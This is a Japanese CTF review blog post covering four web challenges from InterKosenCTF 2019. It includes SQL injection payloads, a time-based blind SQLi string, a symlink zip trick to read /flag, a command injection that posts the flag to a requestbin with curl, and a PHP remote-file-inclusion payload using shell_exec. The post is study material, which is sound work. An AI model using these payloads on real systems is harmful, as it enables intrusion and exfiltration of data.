セキュリティ系の勉強、その他開発メモとか雑談. GithubはUnity触っていた頃ものがメイン Twitterフォローもよろしくです

【復習回】InterKosenCTF 2019


お疲れ様です。今回はweb問だけに絞ってチャレンジしました、が、相変わらず、碌に回答できずに終わってしまうのでwriteupが書けません。が、そのままにするといつか見返したい時に困るので、復習という形で書き残します。参考サイトさんははじめにリンクを貼っておきますので、皆さんはそちらを見てください。。。

このページはwriteupではなく復習回です。。。

参考サイト

wassan128.github.io

qiita.com

【web】uploader(warmup)

ファイルをパスワード付きでアップロードできるページに、すでにアップロードされているシークレットファイルをゲットしようという問題。アップされているファイルを検索できるフォームに下を記述したら通ったので、脆弱。
') or 1=1--

提示されているソースファイルよりpasscodeカラムを抜き出します。
')or 1=1 union select passcode from files--

passcodeがフラグでした。 the_longer_the_stronger_than_more_complicated interKosenctf2019 · GitHub

【web】Temple of Time

攻撃されている投票システムのpcapngファイルが渡されるので、フォレンジックします。一番多いアクセスはhttpでのsqlインジェクション試行なので、とりあえず1つ見てみる。

request uri query parameter: portal='or(select(if(ord(substr((select+password+from+users+where+username='admin'),12,1))=109,sleep(1),'')))#


substrでパスワードの12番目の文字1つを抜き出し、ordで数字として返す、それが109(m)かどうかを判別し、正解だったら1秒sleepする。これが、総当たりで1からやられています。ので、レスポンスが遅い部分を抜き出して行けば、フラグが見えます。

KosenCTF{t1m3_b4s3d_4tt4ck_v31ls_1t}
これ、目grepでちまちまやったのですが、きっといい方法があると思うのであとで追記します。

【web】Image Extractor

これeasy問?とても難しかったです。。解けなかった。docxファイルの写真部分を切り出してくれるサイト。正確にはアップしたファイルをジップ展開して、word/media/ディレクトリ以下の拡張子付きのファイルを見れるようにしてくれる。 どうやら/flagファイルにフラグが書いてあるらしい。 ソースはこちら。 interkosenctf2019 · GitHub

シンボリックリンク

word/media/内のファイルが表示できるので、その中に/flagへのシンボリックリンクを作れば大丈夫とのこと。コマンド的には下のようになる。

$ mkdir -p word/media
$ ln -s /flag word/media/flag.txt
$ zip -ry flag.zip word
参考:https://qiita.com/mikecat_mixc/items/471c110ae2228915c88b#image-extractor


僕は競技中は右クリックでzip化していたので、そうしました。アップロードしてからflag.txtファイルを開くとフラグが得られたようです。
f:id:thinline196:20190813075115p:plain アップロードしたファイルが展開された様子。

コマンドインジェクション

こちらの方法でも解けるらしい。 ファイル名を正規表現で末尾指定で縛っているが、改行以降については無視されるので、改行後にコマンドをインジェクション可能であるとのこと、systemメソッドにインジェクションして、requestbin宛にflagを送信して完了する。

# get '/image/:name/:image' do
# 正規表現
# params[:name] !~ /^[a-f0-9]{32}$/ || params[:image] !~ /^[A-Za-z0-9_]+\.[A-Za-z0-9_]+$/
# 元コード
    system("unzip -j #{zipfile} word/media/#{params[:image]} -d #{filedir}")
# リクエスト
http://web.kosenctf.com:12000/image/xxxxx自動生成部分xxxxxx/image.png\ncurl -X POST {requestbin宛て} -d `cat flag`; #
# インジェクション結果
unzip -j zipファイル名 word/media/image.png\ncurl -X POST {requestbin宛て} -d `cat flag`; # -d ファイル名.....



【web】Neko Loader

3つの写真の名前とpng, jpg拡張子を選択するとそのファイルが表示されるサイト。情報として、写真を表示する処理と、phpinfoの情報が見られます。

処理はこの内容。 interkosenctf2019 · GitHub


POSTextnamに2値を送ってますが、extの方は4文字制限があり,include($ext.'/'.$name.'.'.$ext);として使われます。
getinfoから、allow_url_includeonになっていることがわかるので、includeで外部スクリプトが読み込めるとのこと。 f:id:thinline196:20190813081350p:plain
しかし、http:は文字数に引っかかるため、ftp:を使用。

ext = ftp:
name= /<ftpサーバのなまえ>/attack.php#
#attack.php
<?php echo shell_exec('ls /;cat /*');?>


このファイルをincludeで読み込ませることで、実行結果を取得しフラグをとるとのことですが、ftpサーバってどうやって用意するのがいいのでしょうか...調べておきます。できれば無料で...

結果

f:id:thinline196:20190813003818p:plain ちなみに真ん中らへんで42位..悔しい。。少ないコード量でこの難しさはさすがでした。。ただ、やり方がわからないではなく、そもそも知識がないって感じの結果だったので引き続き勉強頑張ろう..